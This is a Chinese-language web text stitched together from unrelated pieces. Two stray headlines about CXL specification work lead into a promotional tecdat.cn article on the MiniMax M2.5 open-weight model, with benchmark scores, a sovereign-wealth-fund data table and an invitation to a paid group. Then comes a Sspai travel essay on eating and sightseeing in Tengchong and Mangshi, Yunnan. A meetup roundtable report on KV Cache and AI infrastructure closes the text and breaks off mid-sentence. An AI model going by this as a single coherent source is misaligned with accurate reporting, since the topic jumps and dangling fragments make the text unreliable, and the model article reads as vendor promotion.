CXL：从“是否需要”到“如何写进规范”——类型演进与版本门槛成为焦点
下一步：材料进入邮件列表，与 Server SoC/平台 TG 联动推进
全文链接：https://tecdat.cn/?p=45017 在国内大语言模型技术高速迭代的当下，行业发展已经从单纯的参数规模竞赛，转向了“性能、成本、可用性”三者平衡的产业落地阶段。过去，想要使用具备顶尖编码与智能体能力的大模型，只能依赖海外闭源API服务，不仅使用成本高昂，还存在核心数据出境的安全风险。而国内一众开源模型的崛起，正在彻底打破这一局面，MiniMax M2.5就是其中的代表性产品。我们在服务企业客户的过程中发现，多数企业在AI落地时面临着性能与成本难以平衡、闭源模型数据安全风险高、开源模型部署门槛高三大核心痛点。基于此，我们以MiniMax M2.5为核心，完成了从技术原理拆解、多维度性能测评到全场景落地应用的全流程研究，为各类企业选择与部署大模型提供了可直接复用的落地方案。本文覆盖了模型核心特性、实操应用案例、基准测试结果、主流模型横向对比及本地化部署方案，能够帮助技术人员与企业决策者快速掌握模型的应用价值与落地方法。 本文内容改编自过往客户咨询项目的技术沉淀并且已通过实际业务校验，该项目完整内容已分享至交流社群。阅读原文进群，可与800+行业人士交流成长；还提供人工答疑，拆解核心原理、代码逻辑与业务适配思路，帮大家既懂 怎么做，也懂 为什么这么做；遇代码运行问题，更能享24小时调试支持。 大语言模型的发展，已经从实验室里的技术突破，走向了企业生产场景的规模化落地。过去，想要用上具备顶尖开发与智能办公能力的大模型，企业往往需要承担极高的API调用成本，还要面对核心业务数据上传到第三方平台的安全隐患。而国内开源大模型的快速发展，正在为企业提供一条低成本、高安全、可自主掌控的AI落地路径，MiniMax M2.5正是这条路径上的标杆产品。 MiniMax M2.5能在众多开源模型中脱颖而出，核心在于其针对企业产业落地场景做了深度的技术优化，形成了四大核心优势，我们也将这些技术特性用通俗易懂的方式为大家拆解说明。 模型在训练阶段覆盖了超10种主流编程语言，包括Python、Rust、Java、Go等，不仅能完成基础的代码补全与bug修复，更能覆盖从0到1的系统架构设计、运行环境搭建、业务功能开发、代码合规审核、系统联调测试的全流程研发工作，同时支持Web网页、移动端应用、桌面端程序等多平台的全栈开发需求。 在多轮函数调用与网页导航任务中，模型展现出了行业顶尖的执行水平，同时相比前代产品，完成同等业务任务所需的交互轮次减少了20%，能更高效地完成复杂任务的拆解与执行，大幅降低了长周期业务任务的token消耗与执行时间。 为了满足企业办公场景的真实需求，研发团队联合金融、法律、社科等领域的资深专家，打造了完全贴合行业真实工作标准的训练数据，让模型能直接输出符合行业规范的文档、演示文稿、表格文件，在企业办公场景的专项测评中，相比主流模型的平均胜率达到了59%。 模型依托自研的Forge强化学习框架与CISPO算法，相比前代产品完成同等业务任务的速度提升了37%，同时token消耗更低，在编码专项测试中，单个开发任务平均仅消耗352万token，在保证业务性能的同时，进一步降低了企业的规模化使用成本。 相关文章 原文链接：https://tecdat.cn/?p=45008 技术特性最终要落到实际业务中才能体现价值，我们通过多个企业高频业务场景的实操验证，全面测试了MiniMax M2.5的实际落地效果，也为大家提供了可直接复用的应用思路。 在企业投研与市场分析工作中，经常需要从多个公开渠道提取核心数据，并整合成规范的结构化表格，这也是日常办公中高频且耗时的重复性工作。我们通过模型完成了全球头部主权财富基金的多维度数据合成任务，具体指令如下： 模型成功从多个公开数据源提取并核验了相关数据，输出了完整的结构化分析表格，结果如下： 这个看似简单的业务场景，却精准验证了模型的网页信息检索、多源信息整合、数据交叉核验三大核心能力，完全能满足企业投研分析、市场调研、行业研究等场景的真实工作需求。 在软件开发场景中，我们测试了模型从零搭建用户认证系统的能力，指令如下： 模型首先输出了完整的架构设计方案，包含UI原型规划、API接口设计、数据库表结构，随后生成了超1200行的前后端业务代码，最终实现了包含JWT认证与MongoDB数据库集成的完整应用，首次运行测试全部通过，总耗时22分钟，执行速度超过了主流闭源模型的平均水平。 在金融办公场景，我们测试了模型的专业财务建模能力，指令如下： 模型直接输出了包含完整计算公式、可视化分析图表的Excel文件，完全贴合国内金融行业的建模规范。值得一提的是，面对模糊的业务需求，模型会主动提出澄清问题，或做出合理的行业通用假设并明确标注，这一点完全匹配了企业真实工作中分析师的工作模式。 MiniMax M2.5被深度集成在官方的智能体平台中，平台内置了大量预制的专项智能体，也就是官方所说的“专家”，用户可以像使用应用商店一样，直接选择对应场景的专家，快速完成专项工作。 截至模型发布，平台内用户自主创建并发布的定制化专家已经超过1万个，覆盖了办公、金融、编程、营销等多个行业场景，即使是没有开发能力的业务人员，也能快速搭建符合自身业务需求的专属AI智能体。 我们通过行业通用的权威基准测试，全面评估了MiniMax M2.5的核心业务性能，测试结果也直观展现了模型的真实实力。 MiniMax M2.5提供了三种灵活的使用方式，能满足个人学习、中小企业测试、大型企业规模化部署的不同需求，同时我们也针对相关平台的国内使用情况做了适配说明。 我们将MiniMax M2.5与当前行业主流的闭源大模型做了多维度的横向对比，结果如下表所示： 从对比结果可以清晰看到，MiniMax M2.5在核心编码能力上已经与海外顶尖闭源模型持平，在多语言编码、开源开放性、推理速度、使用成本上具备显著优势，仅在通用知识与创意推理场景中，与闭源模型存在一定差距。简单来说，这款模型是开发人员与企业办公场景的“性价比首选”，是一款专精生产力场景的专家型模型。 在整个行业都在追逐大模型参数规模的当下，MiniMax M2.5走出了一条“产业落地优先”的差异化路线。它用开源的方式，让企业和个人开发者能以极低的成本，使用到具备顶尖编码与智能体能力的大模型，不仅打破了海外闭源模型的价格垄断，更解决了企业AI落地中的核心数据安全痛点。 MiniMax M2.5用顶尖的生产力性能、开源开放的部署模式、极致亲民的使用成本，为大模型的企业级落地提供了全新的解决方案。它让我们看到，人工智能的发展，不仅有参数规模的向上突破，更有产业落地的向下深耕。对于想要落地AI能力的企业、想要提升工作效率的开发与办公人员来说，这款模型都是当下极具性价比的选择。
原文出处：拓端数据部落公众号
文章脉络流程图
MiniMaxM2.5大模型概述
MiniMax M2.5是由国内企业研发的开源权重大语言模型，于2026年2月正式发布。该模型从研发之初就完全瞄准企业真实生产场景的生产力需求，核心聚焦编码开发、智能体工具调用、网页信息检索、办公自动化四大高频企业场景，通过在超20万个复杂真实业务场景中进行强化学习训练，让模型具备了资深软件架构师级别的规划能力与自主执行能力。
和很多一味追求参数规模的大模型不同，MiniMax M2.5实现了“顶尖业务性能+极低使用成本”的双重突破，让行业一直提及的“普惠级人工智能”从概念变成了可落地的现实。模型同时提供两个商用版本，标准版推理速度可达50token/秒，闪电版更是能达到100token/秒，两个版本除了推理速度之外，核心业务能力完全一致，企业可以根据自身业务的响应需求灵活选择。模型核心技术与创新特性拆解
多语言全栈开发能力
高效智能体工具调用与检索能力
深度适配的办公自动化能力
基于强化学习的极致效率优化
2026年Claude Code、OpenCode智能编码代理工具选型研究|附教程
模型落地应用场景实操验证
多源数据合成与结构化分析
针对全球资产管理规模前五的主权财富基金，提取以下维度信息：基金名称、所属国家、当前资产管理规模、现任负责人姓名及任职时间、最新年报披露的投资收益率，以及所属国家的基尼系数，最终整理成规范表格并标注每个数据的来源。
基金名称 所属国家 当前资产管理规模（AUM） 首席执行官 / 董事总经理 任职起始时间 最新披露收益率 基尼系数 挪威政府全球养老基金 挪威 2.1 万亿美元 尼古拉・坦根（首席执行官） 2020 年 9 月 1 日 15.1%（2025 年） 26.9（2022 年） 国家外汇管理局投资公司 中国 1.95 万亿美元 程浩（局长） 2025 年 1 月 未披露 35.7（2021 年） 中国投资有限责任公司（中投公司，CIC） 中国 1.57 万亿美元 张青松（董事长兼首席执行官） 2024 年 11 月 6.92%（10 年年化） 35.7（2021 年） 阿布扎比投资局（ADIA） 阿联酋 约 1.0-1.1 万亿美元 谢赫・哈马德・本・扎耶德・阿勒纳哈扬（董事总经理） 2010 年 4 月 6.3%（20 年年化） 26.4（2018 年） 科威特投资局（KIA） 科威特 1.03 万亿美元 谢赫・萨乌德・萨利姆・萨巴赫（董事总经理） 2024 年 11 月 未披露 约 36.0（2000 年）* 全栈Web应用开发
使用React框架搭建前端页面，配合Node.js开发后端服务，实现完整的用户注册与登录认证功能，同时设计对应的数据库表结构。
企业估值Excel金融建模
基于DCF现金流折现法，搭建一套初创企业估值Excel模型，同时完成多维度敏感性分析。
定制化智能体平台应用
模型基准性能测评结果
在编码能力专项测试SWE-Bench Verified中，模型得分达到80.2%，这个测试基于真实的开源项目业务需求，能真实反映模型解决实际开发问题的能力；在多语言跨仓库编码测试Multi-SWE-Bench中，模型以51.3%的得分位列榜首；在智能体网页导航测试BrowseComp中，模型得分76.3%，是所有开源权重模型中的第一名；在智能体编码专项测试Droid中，模型得分也达到了79.7%。
需要说明的是，在模型发布后的一周内，行业内接连发布了多款新一代闭源大模型，刷新了部分基准测试的榜单，但这也恰恰反映了当前大模型行业的迭代速度之快，而MiniMax M2.5作为开源模型，依然在开源赛道保持着领先地位。模型获取与本地化部署方案
主流大模型横向对比分析
性能维度 MiniMax M2.5 海外头部闭源模型A 海外头部闭源模型B 海外头部闭源模型C SWE-Bench Verified编码测试 80.2% 80.8% 80% 78% Multi-SWE多语言编码测试 51.3% 50.3% 49.1% 42.7% BrowseComp搜索测试 76.3% 84.0% 65.8% 73.2% 百万输出token成本（美元） 2.4 25 14 15 推理速度（token/秒） 100 60 80 70 是否开源权重 是（MIT协议） 否 否 否 多语言编码支持 10+种主流语言 以英语为主 能力较强 能力中等 模型行业价值与未来应用展望
对于开发人员来说，它能覆盖从代码编写、bug修复、版本审核到全栈应用开发的全流程工作，据官方披露，其企业内部80%的新增代码都由该模型生成；对于企业办公人员来说，它能完成金融建模、报告撰写、演示文稿制作等高频办公工作，大幅提升办公效率；对于企业来说，基于开源权重可以完成私有化部署，彻底解决核心数据出境的安全风险，同时极低的使用成本能让AI能力覆盖到更多业务场景。
当然，我们也要客观看到模型的不足，它在通用创意推理、跨领域综合知识储备上，与顶尖通用大模型还有一定差距，更适合生产力场景的专项应用。未来随着开源社区的二次开发与行业微调优化，模型的能力边界也将持续拓展。总结
编者按：本文是少数派 2025 年度征文活动#TeamCarbon25标签下的入围文章。本文仅代表作者本人观点，少数派只略微调整排版。
今年的征文活动更有创意，「只能用 AI」和「不能用 AI」两大赛道激情 PK，硅基生物和碳基生物都将决出各自领域的佼佼者。我们会在征文结束后统一组织投票活动，但在正式投票之前，如果你喜欢这篇文章，不妨通过充电或评论的方式支持作者，让内容创作者获得更多维度的鼓励。
每到年末之际，高强度的工作节奏让我喘不过气，总会萌生去旅居一段时间的念头，让身心得到充分的休息。不少自媒体都推荐过适合旅居的城市，我也一直在思考到底哪里才适合我。旅居的地方首先要有好的气候，这一点自不必说，所以我这两年频繁的飞往云南，考察了一些四季如春的城市。腾冲和芒市是常被人们提起的宜居城市，所以今年我请了年假来短暂的感受一下这里的旅居生活。除了气候之外，我最看重的是美食和美景，本文将着重从这两个维度直观地记录下我的旅居体验，还会简单谈谈哪个滇西小城更适合旅居。
腾冲没有高铁站，机场也比较小，直达的交通不方便，我们先从昆明转机再飞到这里。也可以飞到芒市或者保山，然后坐大巴来腾冲，车程大概一个小时。
到达腾冲后，我们选择了住在和顺古镇的「糖糖家」民宿，套间的价格是每晚 472 元，民宿有接机服务，从机场到古镇大概花了 20 分钟。进入古镇需要凭身份证购买门票，成人每人 55 元，学生和老人有优惠。每张票有效期是 7 天，进出古镇的时候使用身份证即可。
刚到腾冲的时候选择住在古镇，主要是因为有接机服务，而且吃饭比较方便。民宿步行十分钟范围内就有多家餐厅可供选择。路过野鸭湖边的「翠玺楼」，看到门口写着特价的招牌，一份大救驾（饵块和猪肉等一起翻炒）才 9.9 元，还能免费喝大麦茶。另外一家叫作「妈妈的味道」的餐厅，一盘爆炒见手青的价格是 98 元，炒牛肝菌的价格是 88 元，坐在靠窗的位置可以边欣赏夕阳边吃。
古镇不仅餐厅很多，主街上有不少小吃也值得一试，有一家「和顺脆皮烤猪蹄」，卖的猪蹄是卤过的，点的时候现烤，大概 20 分钟烤好。可以选择一只或者半只猪蹄，半只的价格是 25 元，店家会给切成块，每一块都是一小段骨头连着一块肉，很方便拿着吃。猪蹄烤的外焦里嫩，外皮酥脆，里面的肉肥而不腻。
百年老菜街上的早市里小吃的选择更多，用豌豆磨制的稀豆粉是来古镇不可错过的美食之一，「杨大妈早餐店」提供 6 元一份的稀豆粉套餐，可以搭配粑粑或者油条食用。沿街随处可见售卖松花糕的摊点，5 元可以买三块，味道有点儿像绿豆糕。
古镇不仅有美食，还有悠久的历史。根据《旧唐书》等古籍的记载，腾冲古时以制作藤条为主，名称本意为「藤条充盈之地」。明朝时设立腾冲府，被誉为「极边第一城」，清朝军队曾在此抵御英国入侵。民国时期，日军入侵滇西并占领了这里，两年后中国远征军发动滇西反攻并成功收复腾冲。新中国成立后，腾冲和平解放，归保山市管辖。
古镇的建筑值得慢慢品味和浏览，距离民宿不远的元龙阁前面是龙潭，早晨的时候亭子被雾气环绕，有一种缥缈的意境。刘氏宗祠和李氏宗祠匾联比比皆是，环境清幽。古镇有 9 座牌坊，用来表彰功勋、忠孝，如今已成为知名打卡点。
豆瓣高分国产剧《我的团长我的团》的主要取景地就在和顺古镇，我们乘坐游览车路过了「迷龙家」等团迷打卡点。游览车的司机在镇子里长大，当年剧组的拍摄地距离他家很近，他也被剧组拉去当群演。当时剧组给了他一串香蕉，他以为是给他吃的，就分给了小伙伴，后来才知道香蕉其实是道具，那幕戏拍的是老百姓迎接部队的凯旋，纷纷拿出水果食物招待战士们。
古镇并非只有古建筑，里面也有许多适合慢慢游览消磨时光的咖啡店和书店。「数数书局」是一家集书店、咖啡店、酒店为一体的综合性设施，书店布局独特，可以在书架环绕着的台阶上看书，也可以去咖啡厅俯瞰古镇全景，如果意犹未尽还能在这里住上几晚，所有拆封的书住客都可以免费借阅。让我唯一有点儿遗憾的是书架摆放的有些杂乱无章，而且推理小说寥寥无几，只有几本《福尔摩斯探案集》。
为了体验火山和温泉，我们离开古镇来到了市区。我对市区的美食了解的没有古镇那么详细，只知道铜瓢牛肉很不错。铜瓢牛肉所用铜锅传承自茶马古道时期的大理白族铜瓢器具，围着炭炉吃火锅的形式沿袭了古道驿站围炉而食的传统。我们去的是「马东清真铜瓢牛肉馆」，点了清汤锅底，里面有白菜和白萝卜等辅料，牛肉至少要点一斤，每片牛肉都很薄，下锅后一分钟左右就能熟，蘸上丰富的酱料软嫩可口，这顿饭的价格是 110 元。
市区的民宿在北边的新城区，附近有一家「山珍馆」的野生菌火锅很出名，门口的照片上还有沈腾来这里吃饭时的合影。我们选了鸡汤锅底，锅里煮的菌子是松露和黄濑头菌，另外点了一份干巴菌炒饭。
锅底上来后，蘑菇入锅先煮 30 分钟，期间不能用筷子搅拌。服务员上了一些橘子和炒蘑菇之类的小菜让我们先吃，然后用计时器记录时间，时间到了之后就可以喝蘑菇汤了。虽然锅底点的中份，菌子点的都是半份，但量依然很大，我们没吃完。
这顿饭里最贵的是松露，半份的价格是 154 元，据服务员说有增强免疫力等功效，而且还剩一些新鲜的，推荐我们点。黄濑头菌半份是 57 元，最适合煮汤的时候提味儿。最后结账的时候，一共花费了 462 元。
民宿老板推荐过一家叫作「花雨点点」的餐厅，这家有烧烤也有主食。我们晚上 6 点多到的时候，被告知前面排了 20 桌，轮到我们大概要 40 分钟后。我先点了一杯云南德宏州的特色甜点泡鲁达来喝，里面混合了牛奶、椰丝、西米等原料，甜蜜可口。
等待过程中我问老板，如果不点烧烤需不需要等待，老板说不需要，我就只点了卤面。结果上来之后我傻眼了，北方的卤面都是蔬菜和肉等配料加上面条，从来不放辣椒，腾冲的卤面却是辣的。我当时正在上火，一点儿辣也不敢吃，只好又点了一份大救驾来「救驾」。
我这几天很少有机会能吃到蔬菜，在北海湿地附近有许多农家乐饭店，厨房里摆放着丰富的新鲜绿叶菜。我点了炒小油菜，还有青菜豆腐汤。小油菜和辣椒蒜瓣一起翻炒，是很下饭的一道美味。豆腐汤里的豆腐嫩滑无比，稍微一碰便会碎在汤里，每一块都是对味蕾的抚慰。
市区除了餐厅，也有贩卖小吃的地方。腾冲南部有个「绮罗古镇」，那里的早市颇有名气。我有一次泡完温泉去那里吃饭，买了一份从没吃过的白族传统美食烤乳扇，它以牛奶为主要原料，拉成薄片后再经过炭火烤制，刷上调料就可以吃了。摊主说他不是回族的，之前贩卖翡翠，因为生意不好做才来这里出摊。摊主人很好，给我们递过来烤乳扇后，还赠送了两个百香果。
早市上有个卖药材的，我们最近总是失眠，就买了一些酸枣仁。摊主看了看我们的舌苔和面相，给我们讲了讲身上出现的问题。我的鼻子有黑头，摊主说这是肺部的问题，要注意调理，并顺便举了几个「朋友」因为没有好好调理而不幸离世的例子。我感觉就像坐在占卜学教室里的哈利·波特，听着特里劳妮教授唠叨他的悲惨死亡。
我觉得早市上最好吃的是破酥包，我在地图上查到一家评分很高的「芳姐特别破酥包」，从入口进去，顺着古镇图书馆那条巷子，走十分钟才能到。酒香不怕巷子深，这家店的破酥包卖的特别快，我到的时候只剩下了玫瑰花卷和香菇包。买完破酥包往回走，又看到一家卖烤串的摊位，牛肉串在烤炉上嗞嗞冒油，忍不住买了几串。
腾冲地处印度与欧亚大陆两个板块的交界处，是中国境内火山分布密度最大，数量最多的地区。腾冲也是中国三大地热区之一，被誉为「中国温泉之都」。除火山与地热外，腾冲还有很多其他独特的地质奇观。火山堰塞形成的北海湿地，成为了云南省唯一的国家湿地保护区，位于腾冲东部的高黎贡山则有着丰富的珍稀动植物。
选择住在腾冲北边主要考虑的不是「吃」而是「景」，民宿距离腾冲火山地热国家地质公园较近，可以一大早赶过去看热气球。地质公园的热气球只有上午 11 点之前才可以起飞，之后会因为天气原因而停止。我并没有进入公园内部，而是沿着县道 XM74，开车来到了公园的外围。沿着公路有一大片草场，我到的时候空无一人，能近距离观赏火山。天上此起彼伏的热气球，不由得让我联想到了土耳其的卡帕多奇亚。
沿着县道接着开，路边看到一群人在喂猴子，这是栖息在当地的短尾猕猴。有村民在兜售花生，十元三包，我自带的面包猴子不吃，只好买了三包花生。村民说要把花生藏在兜里，只拿出一颗放在手上，手要放低一点，猴子自然会过来把花生拿走。我试了试果然如此，不过聪明的猴子看到了我掏兜的动作，纷纷站起来扒拉我的兜。
我往后退了几步，试图把花生喂给一只小猴子，但总被旁边的大猴子抢走。可当我拿出相机想近距离给小猴子拍照的时候，大猴子又会跑来护着，生怕我伤害了小猴子。它们这种亦敌亦友的态度着实让我捉摸不透。
把车开到「下表院慕山居」的免费停车场，马路对面有一条路可以走到黑鱼河。这条河是火山爆发后，火山岩浆堵塞地下暗河，地下水流出地表而形成的一条河流，因每年夏秋时节出水口涌出成千上万条黑色小鱼而得名。
我看小红书的攻略说，从石头台阶下去就能到河边，可很少有人提到这条路多么难走。这些石阶是无人维护的状态，普遍都很狭窄，而且坡度很陡，无论是上去还是下来都颇为不便。即便拄着一根登山杖，我还是走的气喘吁吁，需要手脚并用才不至于滑倒。
黑鱼河属于低温温泉，河水水流湍急，清澈见底。下到河边的时候用手感受了一下河水的温度，虽然不像网上说的那样温热，但也不至于很凉。再往前走，河水的颜色渐渐变成了祖母绿，两边是火山岩受到冲刷形成的布满石块的河滩。
北海湿地和黑鱼河的成因类似，都是由于火山活动而形成的。岩浆堵住了地下水道形成了湖泊，造就了这片中国唯一的火山堰塞湖浮毯型湿地。湿地的成人票是每人 55 元，里面有各种各样的水鸟和野鸭，乘坐游船可以进入湿地观赏动植物，单程大约 15 分钟，票价是每人 60 元。
从游船下来，长长的木头栈道两旁长满了莼菜，它对水质要求极高，富含胶质蛋白，是极佳的护肤品原料，有「植物中的大熊猫」、「水中燕窝」等称号。从栈道走上来，可以乘坐缆车返回入口处，单程票价是每人 10 元。
2 月初的北海湿地比较萧条，我当时看到的水鸟种类也只有两三种，再加上园区颇多的收费项目，让我明白了为什么小红书上有那么多的避雷笔记。如果待到 7 点左右可以看到日落，可是湿地的风比较大，我们待了一会儿就走了。
火山活跃的地方，通常都会有温泉。腾冲最有名气的温泉在「热海大滚锅」，作为知名景区，这里的人也最多，汤池全都是公共的，即便 9 点刚开门就来泡，也不一定能做到包场。腾冲的温泉分碳酸泉和硫黄泉两种，接我们的司机说他们本地人都是去黄瓜箐泡硫黄泉。
黄瓜箐在热海附近，「箐」泛指树木茂盛的山谷，这里因为山谷形状像黄瓜而得名。但看网上的评论，黄瓜箐的几家温泉都是「纯狱风」、「地牢风」，所以我并没有去。「仙人温泉」也在黄瓜箐那一带，据说温泉是从热海的「美女池」引过去的硫黄泉，除了公共泡池之外也提供包间，一间的价格是 60 元。
我大概 10 点左右来到「仙人温泉」，里面还没什么游客。来之前打电话预约包间，负责人告诉我可以提前放水，可等我们到了水温还是太烫，摸着有 40 多度，我拧开冷水管加了 10 分钟水才敢进去。池子边上还放着一个瓢，我喜欢用瓢舀温泉水到身上，能把全身都浇透。
在池子里摸着身上的皮肤确实像人们说的有光滑的感觉，不过硫黄特有的臭鸡蛋味儿没有闻到，池子里也没有絮状的矿物质沉淀。为了判断是不是硫黄泉，我又掬了一捧水仔细闻了闻，倒是有一股子火药味儿。我大概泡了 1 个小时，结束后皮肤发红，身体感觉更放松了。
泡完温泉出来，来接我们的司机说他小时候天天去泡「洞山温泉」，当时才几毛钱一次，那里现在成了「洞山温泉度假村」，单间是每人 40 元，限时一小时。相比「仙人温泉」，这里的包间面积更大也更敞亮，不过是碳酸泉而非硫黄泉。度假村也有室外的公共浴池，很多池子都隐藏在树林里，需要仔细寻找才能找到，甚至看到有人在用手机导航寻找泡池的位置。
芒市距离腾冲有一个小时的车程，是个适合悠闲散步的小城。我到达芒市后，先去了「百思特美食城」，在小红书上推荐的「胖子冷饮店」点了一杯芒果汁，价格是 15 元。我拿着果汁来到「阿吉吉缅甸茶餐厅」，点了一份「泰式柠檬大虾」和一份「缅甸鸡蛋甩粑粑」。
吸取了卤面的教训，「泰式柠檬大虾」特意告诉厨师不要放辣椒，这道菜是虾仁搭配黄瓜和萝卜条，里面还放了很多蒜末。「缅甸鸡蛋甩粑粑」是用高筋面粉做成的薄饼，里面裹了鸡蛋，上面撒了些白糖。这两道菜搭配起来，一个偏甜，一个偏咸，很适合我的口味。
「勐巴娜西美食城」和「百思特美食城」不同，这里主打烧烤，烟火气更浓。我下午 6 点左右过去的时候很多店铺还没开门。一家卖缅甸甩粑粑的摊位前排着长队，我也过去买了一份，价格是 12 元。旁边的摊位挂着「2025 芒市味道美食大赛最好看的美食」的招牌，卖的是用花生碎和折耳根等调制的拌菜，一份是 10 元。
「撒撇」是傣族的传统特色美食，用牛小肠中的苦肠汁为调料做成的凉拌菜。「勐巴娜西美食城」有一家「素姐边境小吃」卖许多不同种类的撒撇，我点了一份「坚果撒」，里面混合了坚果浆，带着一点奶香。撒撇会搭配米线、牛肝和薄荷等一起食用，用配菜蘸着撒撇吃，酸甜爽口。
在市区寻找洗手间的时候，偶然遇到了主打边陲小吃的「包敏赶摆街」。我点了缅甸鱼汤米线和干煸洋芋丝，饮料是柠檬水。鱼汤米线的用料很丰富，有鱼肉、炸鱼皮和鸡蛋，干煸洋芋丝是我在云南吃到的唯一不放辣椒的炸洋芋，柠檬水很浓，水里都是果肉。虽然是街边随便找的一家店，但味道出乎意料地好吃。
有时候不想出门，只想在酒店附近随便吃点儿。我们住的是「欢漫酒店」，旁边就有很多餐厅。对面的「缅桂花傣味」主营云南菜，路过的时候看到不少人在排队。在「可哆咪」点了干巴炒饭，还可以拿免费的小香蕉。「馋姐妹清汤牛肉早点」的牛肉饵丝很出名，一份儿童碗的价格是 6 元，量已经不少了，里面的牛肉很嫩，配上小料更加美味。
清汤牛肉饵丝后来在「连梅早点」也吃到过，味道同样很不错。有时起床比较晚，到了连梅早点已经 9 点多了，餐厅门口依旧大排长龙，大概要排 40 多分钟才能吃上。我回想起上班的时候每天 7 点急匆匆胡乱吃两口早饭的样子，有种恍如隔世的感觉，慢生活在此刻具象化了。
吃惯了各种小吃，想去餐厅吃几顿正餐。「蔓德里缅式茶餐厅」位于市区，餐厅内部环境优雅，体验和路边摊苍蝇馆子截然不同。我们点了「鸡肉煎饼」和「缅式素菜凉拌沙拉」，搭配着香蕉汁，分量刚好能吃饱。本以为餐厅会比小吃摊的价格高很多，结账时发现一共花费 96 元，其实也不算贵。
去了过于商业化的傣族古镇，对芒市的古镇失去了兴趣，差点儿错过芒晃村的「芒味云南菜」。到了芒晃村才发现，原来村子里除了随处可见的傣族服饰旅拍，还有许多餐饮店。芒味云南菜的包间私密性很好，从村口吵闹的交叉路口进来，感觉进入了另一方天地。裹着鸡蛋的包浆豆腐外皮酥脆，里面的豆腐嫩滑，菠萝饭量大管饱，银耳汤滋阴润肺，都是不可错过的美味。这家店的价格和「蔓德里缅式茶餐厅」差不多，这顿饭的花费一共是 96 元。
吃完晚饭，我总喜欢骑着单车去孔雀湖边逛逛。整个湖区被雷牙让山环绕，漫山遍野都是茂密的树林，空气中含氧量极高。沿湖建有生态廊道，看到不少人围着湖散步或者跑步。「来回咖啡」旁边有几级面朝湖面的台阶，坐在台阶上看着白鹭掠水而飞，好不惬意。
勐焕大金塔位于雷牙让山的山顶，是芒市的标志性建筑，被誉为「亚洲第一空心佛塔」。这座塔是「小乘佛教」的重要圣地，塔的存在体现了中缅边境地区长期的文化交融。我去的那天是周日，上山的路被车辆堵得水泄不通，很难找到停车位，我没有下车，只是在车内遥望了一下金塔。
芒市另一处展现中缅文化交融的，是街头巷尾常见的「缅式洗头」。我去的是「棒棒洗头屋总店」，选择了「洗按摩头 + 拉背精油肩颈按摩」套餐，两个人一共 271 元，耗时大概 80 分钟左右。按摩师是一位很健壮的二十岁左右的缅甸小伙子，先给我洗了头，敷了面膜，然后开始按摩。
他按摩的力道很足，不过我的健身教练有时也会通过按摩帮助我放松，所以我还算能适应按摩师的节奏。我的肩颈因为长期使用手机和电脑，有几处非常僵硬，能感觉到按摩师在用很大的力度让肌肉放松。按摩刚结束的时候背部会感到酸痛，但几个小时后我觉得肩背部都有一种筋络被疏通的感觉。
芒市并不大，适合骑电单车游览。我在酒店门口扫了一辆共享单车，骑行去了世纪酒店附近的网红墙和菩提街，每个景点相隔大概十分钟车程。网红墙在酒店旁边的一条小巷子里，紧挨着职工宿舍，菩提街上车水马龙，只适合打卡拍照，这两个景点都不适合久留。
树包塔是建于 200 年前的清代佛塔和菩提树共生的地标性景观，相比前两处景点，这里至少有小广场，可以无死角的对着树拍照。树包塔附近的楼盘正在施工，顺便去销售中心问了问房价，均价是每平米 6300 元。
芒市丙午街一带有个热闹的集市，有不少傣族、景颇族等少数民族的商贩来这里贩卖山野食材和民族服饰等商品。集市每 5 天一次，上午 9 点后到 12 点前摊贩最为密集。漫步其中，看到路边有卖大豆荚、水果、果壳装饰品、甚至还有公鸡，好不热闹。
市区景点都看过之后，我们开始骑着单车探索郊区。在腾冲的时候就听司机提到过油菜花即将盛开，所以骑车来到了芒市北边的生态田园观光区。农田的边缘有一大片油菜花开的正旺，四周都种着土豆，有几个农民在地理忙着农活儿。
腾冲和芒市物价差不多，也都有古镇、充满烟火气的集市、特色美食、宜人的风景，从旅居体验来看难分伯仲。如果一定要做出选择，相较腾冲来说，芒市的「小而美」对我更有吸引力。我喜欢山顶高耸的大金塔，静谧的孔雀湖，丰盛的早点，还有可以骑着电单车随意溜达的那份惬意。在芒市旅居的时候，更明显的感受到生活的节奏慢了下来。如果将来有机会，我想在芒市长住一段时间，去尝试没来得及吃的美食，开车到更远的村落转转。
> 参与 2025 年度少数派征文，分享你的观点和经验 ✍🏻️
> 关注 少数派小红书，感受精彩数字生活 🍃
> 实用、好用的 正版软件，少数派为你呈现 🚀
1 月 31 日，龙蜥×SGLang MeetUp 在北京市成功举办。在主题为“智算新生态：异构 AI 算力底座如何驱动大模型全场景落地？”的圆桌讨论中，汇聚了来自龙蜥智算联盟的多位产业与学术专家，围绕大模型推理中的核心挑战——KV Cache 管理、异构算力调度、软硬件协同与超节点架构——展开深入探讨。本次圆桌由 Mooncake 核心贡献者马腾主持，邀请了龙蜥社区智算联盟主席宋卓、摩尔线程副总裁王华、沐曦股份研究院院长李兆石、中兴通讯 Al Infra 资深架构师孙洪峰、浪潮信息系统软件研发经理 Andy Cao、中国科学技术大学特任副研究员白有辉 6 位技术专家，与现场嘉宾讨论涵盖国产 GPU 在量化与存储访问上的创新潜力、CXL 与 RDMA 网络在跨节点 KV 传输的应用、稀疏 Attention 算法的工业落地路径，以及超节点环境下分层存储体系的演进趋势，共同展望中国 AI Infra 生态的未来发展。 摩尔线程副总裁王华指出，面对百万级上下文带来的显存压力，硬件层面可通过融合量化、反量化与计算的算子优化来降低访存开销，但物理上限决定了必须结合系统级优化（如压缩、分层存储）。他强调，硬件厂商需与社区紧密协作，共同定义和验证优化方案。 沐曦股份研究院院长李兆石则从硬件实现角度补充，量化（如 BF16 到 INT4）虽能压缩容量、提升带宽利用率，但其数值稳定性（如累加精度、微缩放、截断）高度依赖底层算子实现细节。他指出，量化需由算法牵引，通过社区反复验证才能落地。 中国科学技术大学特任副研究员白有辉分析，量化之所以被广泛采用，是因为它属于算子级改动，对系统软件影响小；而稀疏注意力（Sparse Attention）或线性注意力（Linear Attention）等方案则涉及系统级重构（如数据加载模式、内存管理），实现复杂度高，导致工业落地缓慢。他强调，稀疏注意力在解码阶段的动态选择机制（如 DeepSeek）虽有前景，但其与分布式 KV Cache 池的结合，将形成“全量 KV 在外部，热点 Top-K 在 GPU 缓存”的多级复杂系统，亟需系统层面的创新。 中兴通讯 AI Infra 资深架构师孙洪峰分享，中兴基于定海网卡和凌云交换机，实现了对 KV Cache 的精细流控与优速带宽控制，保障了 P/D 分离场景下的低延迟传输。他透露，中兴已研发出全局 KV Cache 管理系统，并计划全面拥抱开源，向 SGLang 社区贡献技术。 浪潮信息系统软件研发经理 Andy Cao 则认为，当前互联拓扑（如 400G 